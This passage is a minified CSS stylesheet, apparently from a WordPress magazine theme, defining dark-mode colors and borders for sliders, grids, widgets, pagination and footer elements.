.pc-wrapbuilder-header .show-search form.pc-searchform input.search-input:-ms-input-placeholder{color:var(--pchd-sinput-txt)}body.pcdm-enable.pcdark-mode .header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform input.search-input::-ms-input-placeholder{color:var(--pchd-sinput-txt)}body.pcdm-enable.pcdark-mode .penci-magazine-slider .mag-cat a.penci-cat-name{border-color:var(--pctext-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-magazine-slider .mag-cat a.penci-cat-name:after{border-color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-magazine-slider .mag-cat a.penci-cat-name:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-magazine-slider .mag-meta h3 a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-magazine-slider .mag-meta-child span{color:#fff}body.pcdm-enable.pcdark-mode .penci-magazine-slider .penci-direction-nav a{color:var(--pcl-cl)}body.pcdm-enable.pcdark-mode .penci-magazine-slider .penci-direction-nav a:hover{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-mag2-carousel .mag2-header h3 a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-mag2-carousel .cat>a.penci-cat-name{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-mag2-carousel .cat>a.penci-cat-name:after{border-color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .pcbg-content-inner .cat>a.penci-cat-name,body.pcdm-enable.pcdark-mode .pcbg-content-inner .cat>a.penci-cat-name:hover{color:inherit}body.pcdm-enable.pcdark-mode .penci-bgrid-content-on .pcbg-content-inner .pcbg-title a,body.pcdm-enable.pcdark-mode .penci-bgrid-content-on .pcbg-content-inner .pcbg-title a:hover{color:inherit}body.pcdm-enable.pcdark-mode .penci-bgrid-content-on .pcbg-meta,body.pcdm-enable.pcdark-mode .penci-bgrid-content-on .pcbg-meta span,body.pcdm-enable.pcdark-mode .penci-bgrid-content-on .pcbg-meta span a{color:inherit}body.pcdm-enable.pcdark-mode .penci-bgitem .pcbg-pexcerpt p{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-bgrid-based-custom .pcbg-sub-title a{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .pcbg-readmore-sec .pcbg-readmorebtn,body.pcdm-enable.pcdark-mode .pcsl-readmore .pcsl-readmorebtn{background-color:#efefef;color:#111;border-color:transparent}body.pcdm-enable.pcdark-mode .penci-biggrid-data .pcbg-readmore-sec span{color:inherit}body.pcdm-enable.pcdark-mode .penci-biggrid-data .pcbg-readmore-sec i{color:inherit}body.pcdm-enable.pcdark-mode .pcbg-thumb .icon-post-format{color:rgba(255,255,255,.9)}body.pcdm-enable.pcdark-mode .pcfooter-navmenu .pcfoot-navmenu li a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .pcfooter-navmenu .pcfoot-navmenu li a:hover,body.pcdm-enable.pcdark-mode .pcfooter-navmenu .pcfoot-navmenu li.current-menu-item a{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .sl-date{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .pcsl-inner .pcsl-content .pcsl-title{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .pcsl-inner .pcsl-content .pcsl-title a{color:inherit}body.pcdm-enable.pcdark-mode .pcsl-inner .pcsl-content .pcsl-title a:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .pcsl-inner .pcsl-content .cat .penci-product-cats,body.pcdm-enable.pcdark-mode .pcsl-inner .pcsl-content .cat .penci-product-cats a{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-border-arrow:before{border-color:transparent}body.pcdm-enable.pcdark-mode .elementor .elementor-element .penci-border-arrow .inner-arrow,body.pcdm-enable.pcdark-mode .penci-homepage-title h3{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .penci-simplelist li a{color:inherit}body.pcdm-enable.pcdark-mode .penci-simplelist.penci-simplelist-type-ordered li:before{background-color:transparent}body.pcdm-enable.pcdark-mode .penci-simplelist.penci-simplelist-type-unordered li:before{background-color:transparent}body.pcdm-enable.pcdark-mode .post-entry ul.mega-menu-list a:hover,body.pcdm-enable.pcdark-mode ul.mega-menu-list a:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .mega-menu-list>li.heading-style-style-2>a:after{background-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .elementor .elementor-element .elementor-icon-list-text,body.pcdm-enable.pcdark-mode .mega-menu-list li a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .mega-menu-list .menu-label{color:var(--pctext-cl);background-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .mega-menu-list .menu-label.label-style-1:before,body.pcdm-enable.pcdark-mode .mega-menu-list .menu-label.label-style-2:before{border-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .mega-menu-list .menu-label.label-style-3{border-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .mega-menu-list .menu-label.label-style-3:before{border-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .mega-menu-list .menu-label.label-style-4:before{border-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .format-post-box .post-format-icon i{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .format-post-box .dt-special,body.pcdm-enable.pcdark-mode .format-post-box .dt-special a{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .format-post-box .dt-special a:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .author-quote span{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .header-standard .pc_titlebig_standard,body.pcdm-enable.pcdark-mode .header-standard .pc_titlebig_standard a,body.pcdm-enable.pcdark-mode .header-standard .post-title,body.pcdm-enable.pcdark-mode .header-standard h2,body.pcdm-enable.pcdark-mode .header-standard h2 a{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .container-single .header-standard h2.penci-psub-title,body.pcdm-enable.pcdark-mode .container-single h2.penci-psub-title,body.pcdm-enable.pcdark-mode .pcsb-subtt .penci-psub-title{color:var(--pcmeta-cl)}@media only screen and (min-width:768px){body.pcdm-enable.pcdark-mode .penci-header-text-white .header-standard h2.penci-psub-title,body.pcdm-enable.pcdark-mode .penci-single-style-10.penci-header-text-white .header-standard h2.penci-psub-title{color:var(--pcbg-l-cl)}}body.pcdm-enable.pcdark-mode .header-standard .pc_titlebig_standard a:hover,body.pcdm-enable.pcdark-mode .header-standard h2 a:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .header-standard .author-post span{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .header-standard .author-post span a:hover{color:var(--pclh-cl)}body.pcdm-enable.pcdark-mode .penci-more-link a.more-link{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-more-link.penci-more-link-button a.more-link{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-post-box-meta .penci-box-meta a,body.pcdm-enable.pcdark-mode .penci-post-box-meta .penci-box-meta span{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .grid-mixed .thumbnail .icon-post-format,body.pcdm-enable.pcdark-mode .pcsl-thumb .icon-post-format,body.pcdm-enable.pcdark-mode .penci-grid li .item .thumbnail .icon-post-format,body.pcdm-enable.pcdark-mode .penci-masonry .item-masonry>.thumbnail .icon-post-format{color:rgba(255,255,255,.9)}body.pcdm-enable.pcdark-mode .penci-grid li .item .cat,body.pcdm-enable.pcdark-mode .penci-masonry .item-masonry .cat{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-grid li .item h2 a:hover,body.pcdm-enable.pcdark-mode .penci-masonry .item-masonry h2 a:hover{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .penci-featured-cat-seemore i,body.pcdm-enable.pcdark-mode .penci-readmore-btn i{color:inherit}body.pcdm-enable.pcdark-mode .penci-featured-cat-seemore.penci-btn-make-button a,body.pcdm-enable.pcdark-mode .penci-readmore-btn.penci-btn-make-button a{color:#fff}body.pcdm-enable.pcdark-mode .cat>a.penci-cat-name{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .grid-mixed .mixed-detail h2 a{color:var(--pcl-cl)}body.pcdm-enable.pcdark-mode .grid-mixed .mixed-detail h2 a:hover{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .grid-post-box-meta span a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .grid-post-box-meta span a.comment-link{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .grid-post-box-meta span a.comment-link:hover,body.pcdm-enable.pcdark-mode .grid-post-box-meta span a:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-featured-infor .penci-entry-title a{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .penci-featured-infor .penci-entry-title a:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .typography-style .main-typography a.penci-cat-name{color:var(--pctext-cl);border-color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-grid li.typography-style .grid-post-box-meta span a:hover,body.pcdm-enable.pcdark-mode .penci-grid li.typography-style .item .main-typography h2 a:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-photo-2-effect figcaption h2,body.pcdm-enable.pcdark-mode .penci-photo-2-effect figcaption p{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-homepage-title.penci-magazine-title h3 a{color:var(--pcl-cl)}body.pcdm-enable.pcdark-mode .home-featured-cat-content .magcat-thumb .icon-post-format,body.pcdm-enable.pcdark-mode .penci_recent-posts-sc ul.side-newsfeed li .side-item .side-image a.icon-post-format,body.pcdm-enable.pcdark-mode .widget ul.side-newsfeed li .side-item .side-image a.icon-post-format{color:rgba(255,255,255,.9)}body.pcdm-enable.pcdark-mode .penci-magcat-carousel .magcat-thumb .mag-post-thumb i{color:rgba(255,255,255,.9)}body.pcdm-enable.pcdark-mode .home-featured-cat-content .mag-photo .magcat-detail h3 a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .home-featured-cat-content .mag-photo .grid-post-box-meta span,body.pcdm-enable.pcdark-mode .home-featured-cat-content .mag-photo .grid-post-box-meta span a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .home-featured-cat-content .mag-photo .grid-post-box-meta span:after{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-single-mag-slider .magcat-detail .magcat-titlte a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-single-mag-slider .magcat-detail .magcat-titlte a:hover{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-single-mag-slider .grid-post-box-meta span,body.pcdm-enable.pcdark-mode .penci-single-mag-slider .grid-post-box-meta span a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-14 .first-post .magcat-detail h3 a,body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-14 .first-post .magcat-detail h3 a:hover{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-14 .mag-meta{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-14 .mag-meta span,body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-14 .mag-meta span a{color:inherit}body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-15 .first-post .grid-post-box-meta span,body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-15 .first-post .grid-post-box-meta span a,body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-15 .first-post .magcat-detail h3 a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .home-pupular-posts-title a,body.pcdm-enable.pcdark-mode .home-pupular-posts-title span{color:inherit}body.pcdm-enable.pcdark-mode .penci-single-featured-img{background-color:#f5f5f5}@media only screen and (min-width:768px){body.pcdm-enable.pcdark-mode .container-single.penci-header-text-white .header-standard .post-title,body.pcdm-enable.pcdark-mode .penci-header-text-white .cat>a.penci-cat-name,body.pcdm-enable.pcdark-mode .penci-header-text-white .container.penci-breadcrumb a,body.pcdm-enable.pcdark-mode .penci-header-text-white .container.penci-breadcrumb i,body.pcdm-enable.pcdark-mode .penci-header-text-white .container.penci-breadcrumb span,body.pcdm-enable.pcdark-mode .penci-header-text-white .header-standard .author-post span a,body.pcdm-enable.pcdark-mode .penci-header-text-white .header-standard .pc_titlebig_standard,body.pcdm-enable.pcdark-mode .penci-header-text-white .header-standard .pc_titlebig_standard a,body.pcdm-enable.pcdark-mode .penci-header-text-white .header-standard .post-title,body.pcdm-enable.pcdark-mode .penci-header-text-white .header-standard h2,body.pcdm-enable.pcdark-mode .penci-header-text-white .header-standard h2 a,body.pcdm-enable.pcdark-mode .penci-header-text-white .post-box-meta-single span,body.pcdm-enable.pcdark-mode .penci-single-style-5.penci-header-text-white .penci-standard-cat .cat>a.penci-cat-name,body.pcdm-enable.pcdark-mode .penci-single-style-6.penci-header-text-white .penci-standard-cat .cat>a.penci-cat-name,body.pcdm-enable.pcdark-mode .penci-single-style-8.penci-header-text-white .penci-standard-cat .cat>a.penci-cat-name{color:var(--pctext-cl)}}body.pcdm-enable.pcdark-mode .penci-single-style-10.penci-header-text-white .header-standard .author-post span a,body.pcdm-enable.pcdark-mode .penci-single-style-10.penci-header-text-white .header-standard .pc_titlebig_standard,body.pcdm-enable.pcdark-mode .penci-single-style-10.penci-header-text-white .header-standard .pc_titlebig_standard a,body.pcdm-enable.pcdark-mode .penci-single-style-10.penci-header-text-white .header-standard .post-title,body.pcdm-enable.pcdark-mode .penci-single-style-10.penci-header-text-white .header-standard h2,body.pcdm-enable.pcdark-mode .penci-single-style-10.penci-header-text-white .header-standard h2 a,body.pcdm-enable.pcdark-mode .penci-single-style-10.penci-header-text-white .penci-standard-cat .cat>a.penci-cat-name,body.pcdm-enable.pcdark-mode .penci-single-style-10.penci-header-text-white .post-box-meta-single span{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode i.penci-post-countview-number{color:inherit}body.pcdm-enable.pcdark-mode .penci-single-style-9 .penci-post-image-wrapper{background-color:#111}body.pcdm-enable.pcdark-mode .penci-single-style-10 .penci-post-image-wrapper{background-color:#111}body.pcdm-enable.pcdark-mode .post-box-meta-single span{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .post-box-meta-single span strong,body.pcdm-enable.pcdark-mode .post-box-meta-single span time{color:inherit}body.pcdm-enable.pcdark-mode .post-box-meta-single a{color:var(--pcl-cl)}body.pcdm-enable.pcdark-mode .post-box-meta-single a:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-slick-slider>button.slick-next,body.pcdm-enable.pcdark-mode .penci-slick-slider>button.slick-prev{color:var(--pcl-cl)}body.pcdm-enable.pcdark-mode .elementor-widget-text-editor .widget ul li,body.pcdm-enable.pcdark-mode .elementor-widget-text-editor p,body.pcdm-enable.pcdark-mode .post-entry .elementor-widget-text-editor p{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-section:not(.penci-elbg-img) *,body.pcdm-enable.pcdark-mode .penci-section:not(.penci-elbg-img) a{color:var(--pctext-cl)!important}body.pcdm-enable.pcdark-mode .penci-biggrid-wrapper.pcbg-mask-meta .pcbg-meta-desc,body.pcdm-enable.pcdark-mode .penci-biggrid-wrapper.pcbg-mask-meta .penci-bgitem:hover .pcbg-meta-desc,body.pcdm-enable.pcdark-mode .penci-biggrid-wrapper.pcbg-mask-subtitle .pcbg-sub-title a,body.pcdm-enable.pcdark-mode .penci-biggrid-wrapper.pcbg-mask-subtitle .penci-bgitem:hover .pcbg-sub-title a,body.pcdm-enable.pcdark-mode .penci-biggrid-wrapper.pcbg-mask-title .pcbg-title,body.pcdm-enable.pcdark-mode .penci-biggrid-wrapper.pcbg-mask-title .penci-bgitem:hover .pcbg-title{background-color:var(--pcbg-l-cl)}body.pcdm-enable.pcdark-mode .penci-section:not(.penci-elbg-img) a:hover{color:var(--pcaccent-cl)!important}body.pcdm-enable.pcdark-mode .post-entry h1,body.pcdm-enable.pcdark-mode .post-entry h2,body.pcdm-enable.pcdark-mode .post-entry h3,body.pcdm-enable.pcdark-mode .post-entry h4,body.pcdm-enable.pcdark-mode .post-entry h5,body.pcdm-enable.pcdark-mode .post-entry h6,body.pcdm-enable.pcdark-mode .wpb_text_column h1,body.pcdm-enable.pcdark-mode .wpb_text_column h2,body.pcdm-enable.pcdark-mode .wpb_text_column h3,body.pcdm-enable.pcdark-mode .wpb_text_column h4,body.pcdm-enable.pcdark-mode .wpb_text_column h5,body.pcdm-enable.pcdark-mode .wpb_text_column h6,body.pcdm-enable.pcdark-mode.woocommerce .page-description h1,body.pcdm-enable.pcdark-mode.woocommerce .page-description h2,body.pcdm-enable.pcdark-mode.woocommerce .page-description h3,body.pcdm-enable.pcdark-mode.woocommerce .page-description h4,body.pcdm-enable.pcdark-mode.woocommerce .page-description h5,body.pcdm-enable.pcdark-mode.woocommerce .page-description h6{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .post-password-form input[type=submit]{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .post-entry blockquote,body.pcdm-enable.pcdark-mode .post-entry blockquote p,body.pcdm-enable.pcdark-mode .wpb_text_column blockquote,body.pcdm-enable.pcdark-mode .wpb_text_column blockquote p,body.pcdm-enable.pcdark-mode.woocommerce .page-description blockquote,body.pcdm-enable.pcdark-mode.woocommerce .page-description blockquote p{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .post-entry blockquote:before,body.pcdm-enable.pcdark-mode .woocommerce .page-description blockquote:before,body.pcdm-enable.pcdark-mode .wpb_text_column blockquote:before{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .post-entry blockquote .author,body.pcdm-enable.pcdark-mode .post-entry blockquote cite,body.pcdm-enable.pcdark-mode .woocommerce ul.products li.product .price,body.pcdm-enable.pcdark-mode .wpb_text_column blockquote .author,body.pcdm-enable.pcdark-mode .wpb_text_column blockquote cite,body.pcdm-enable.pcdark-mode.woocommerce .page-description blockquote .author,body.pcdm-enable.pcdark-mode.woocommerce .page-description blockquote cite,body.pcdm-enable.pcdark-mode.woocommerce ul.products li.product .price{color:var(--pcaccent-cl)!important}body.pcdm-enable.pcdark-mode .woocommerce ul.products li.product .price *,body.pcdm-enable.pcdark-mode.woocommerce ul.products li.product .price *{color:inherit!important}body.pcdm-enable.pcdark-mode .penci-single-link-pages a{color:inherit}body.pcdm-enable.pcdark-mode .post-entry td,body.pcdm-enable.pcdark-mode .post-entry th{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .pencisc-button,body.pcdm-enable.pcdark-mode .post-entry .pencisc-button,body.pcdm-enable.pcdark-mode .woocommerce-product-details__short-description .pencisc-button{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci_list_shortcode li:before{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-highlight-black{background-color:rgba(0,0,0,.8);color:gray}body.pcdm-enable.pcdark-mode .penci-highlight-black:hover{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-highlighted-black{background-color:rgba(0,0,0,.8);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-highlighted-red{background-color:red;color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-highlighted-blue{background-color:#3f51b5;color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-highlighted-green{background-color:green;color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-highlighted-yellow{background-color:#ffcb00;color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-highlighted-pink{background-color:pink;color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-dropcap-box{background-color:var(--pcaccent-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-dropcap-box-outline{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-dropcap-circle{background-color:var(--pcaccent-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-dropcap-circle-outline{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-dropcap-regular{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-dropcap-bold{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-ilrelated-posts .pcilrp-item-grid .pcilrp-title a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-ilrelated-posts .pcilrp-item-grid .pcilrp-title a:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .pcilrp-meta span{color:inherit}body.pcdm-enable.pcdark-mode .gird-post-share a{color:#939393}body.pcdm-enable.pcdark-mode .gird-post-share a:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .post-tags{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .post-tags>span{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .nc_socialPanel .nc_tweetContainer a.nc_tweet,body.pcdm-enable.pcdark-mode .swp_social_panel .nc_tweetContainer a.nc_tweet{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .post-share .count-number-like{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .post-share a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .post-share a.liked,body.pcdm-enable.pcdark-mode .post-share a:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .tags-share-box .single-comment-o{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .post-share a .dt-share{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-2_3 .penci-social-share-text{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-2_3 .post-share .count-number-like,body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-2_3 .post-share a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-2_3 .post-share-item{color:var(--pctext-cl);background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .abio-style-4 .author-img img{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .author-content h5{color:var(--pcl-cl)}body.pcdm-enable.pcdark-mode .post-pagination .arrow{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #respond h3.comment-reply-title span,body.pcdm-enable.pcdark-mode .post-box-title{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .penci-carousel button.slick-next,body.pcdm-enable.pcdark-mode .penci-carousel button.slick-prev{color:var(--pcl-cl)}body.pcdm-enable.pcdark-mode .penci-owl-carousel-slider .penci-owl-dot.active span,body.pcdm-enable.pcdark-mode .penci-related-carousel .penci-owl-dot.active span{border-color:var(--pcaccent-cl);background-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode #navigation .penci-megamenu .penci-mega-post a i,body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-12 .penci-magcat-carousel .magcat-thumb .mag-post-thumb i,body.pcdm-enable.pcdark-mode .item-related>a i,body.pcdm-enable.pcdark-mode .navigation .penci-megamenu .penci-mega-post a i,body.pcdm-enable.pcdark-mode .penci-grid.penci-fea-cat-style-13 li .item .thumbnail .icon-post-format{color:rgba(255,255,255,.9)}body.pcdm-enable.pcdark-mode ul.slick-dots li button:hover,body.pcdm-enable.pcdark-mode ul.slick-dots li.slick-active button{border-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .under-construction-page .under-title{color:var(--pclh-cl)}body.pcdm-enable.pcdark-mode .penci-countdown .countdown-amount{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-countdown .countdown-period{color:var(--pcl-cl)}body.pcdm-enable.pcdark-mode .penci-pagination .disable-url,body.pcdm-enable.pcdark-mode .penci-pagination a{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .penci-pagination .newer:after{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode #comments_pagination a,body.pcdm-enable.pcdark-mode #comments_pagination span,body.pcdm-enable.pcdark-mode .penci-pagination ul.page-numbers li a,body.pcdm-enable.pcdark-mode .penci-pagination ul.page-numbers li span{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode #comments_pagination a:hover,body.pcdm-enable.pcdark-mode .penci-pagination ul.page-numbers li a:hover{color:var(--pclh-cl);border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .penci-pagination.penci-ajax-more a.penci-ajax-more-button .ajax-more-text{color:inherit}body.pcdm-enable.pcdark-mode .penci-pagination.penci-ajax-more a.penci-ajax-more-button.loading-posts span.ajaxdot:after{color:inherit}body.pcdm-enable.pcdark-mode .penci-pagination.penci-ajax-more a.penci-ajax-more-button i{color:inherit}body.pcdm-enable.pcdark-mode #footer-section{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode #footer-copyright *{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode #footer-copyright a{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode #footer-section .go-to-top-parent span{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode #footer-section .go-to-top-parent i{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .penci-go-to-top-floating i{color:inherit}body.pcdm-enable.pcdark-mode .penci-sidebar-content .widget-title{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .penci-border-arrow::after{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .penci-border-arrow.penci-homepage-title.style-2:after,body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-2 .penci-border-arrow:after{border-color:transparent;border-top-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-homepage-title.style-11 .inner-arrow,body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow{background-color:var(--pcbg-l-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-homepage-title.style-12 .inner-arrow,body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-12 .penci-border-arrow .inner-arrow{background-color:var(--pcborder-cl);color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-homepage-title.style-13 .inner-arrow,body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-13 .penci-border-arrow .inner-arrow{background-color:var(--pcbg-l-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-homepage-title.style-14 .inner-arrow,body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-14 .penci-border-arrow .inner-arrow{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-homepage-title.style-11 .inner-arrow a,body.pcdm-enable.pcdark-mode .penci-homepage-title.style-12 .inner-arrow a,body.pcdm-enable.pcdark-mode .penci-homepage-title.style-13 .inner-arrow a,body.pcdm-enable.pcdark-mode .penci-homepage-title.style-14 .inner-arrow a{color:inherit}body.pcdm-enable.pcdark-mode .penci-homepage-title.style-18.penci-border-arrow:after,body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-18 .penci-border-arrow:after{color:var(--pcbg-l-cl)}body.pcdm-enable.pcdark-mode .widget ul li{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .widget a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .widget a:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .pc-widget-advanced-tax.tax-style-1 ul li,body.pcdm-enable.pcdark-mode .widget.widget_archive ul li,body.pcdm-enable.pcdark-mode .widget.widget_categories ul li{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .pc-widget-advanced-tax.tax-style-1 ul li span.category-item-count,body.pcdm-enable.pcdark-mode .widget.widget_categories ul li span.category-item-count{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode form.pc-searchform i{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-sidebar-content .widget form.pc-searchform input.search-input,body.pcdm-enable.pcdark-mode .widget form.pc-searchform input.search-input{background-color:transparent}body.pcdm-enable.pcdark-mode .about-widget .about-me-heading{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .pc-widget-advanced-tax.tax-style-2 a,body.pcdm-enable.pcdark-mode .widget .tagcloud a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .pc-widget-advanced-tax.tax-style-2 a:hover,body.pcdm-enable.pcdark-mode .widget .tagcloud a:hover{color:var(--pctext-cl);border-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode #wp-calendar caption{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .post-entry #wp-calendar caption{color:inherit}body.pcdm-enable.pcdark-mode #wp-calendar tbody{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #wp-calendar tbody td a{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .penci_recent-posts-sc ul.side-newsfeed li{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .penci_recent-posts-sc ul.side-newsfeed li .side-item .side-image a span.count-post,body.pcdm-enable.pcdark-mode .widget ul.side-newsfeed li .side-item .side-image a span.count-post{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci_recent-posts-sc ul.side-newsfeed li .side-item .side-item-text h4 a,body.pcdm-enable.pcdark-mode .widget ul.side-newsfeed li .side-item .side-item-text h4 a{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .penci_recent-posts-sc ul.side-newsfeed li .side-item .side-item-text h4 a:hover,body.pcdm-enable.pcdark-mode .widget ul.side-newsfeed li .side-item .side-item-text h4 a:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci_recent-posts-sc 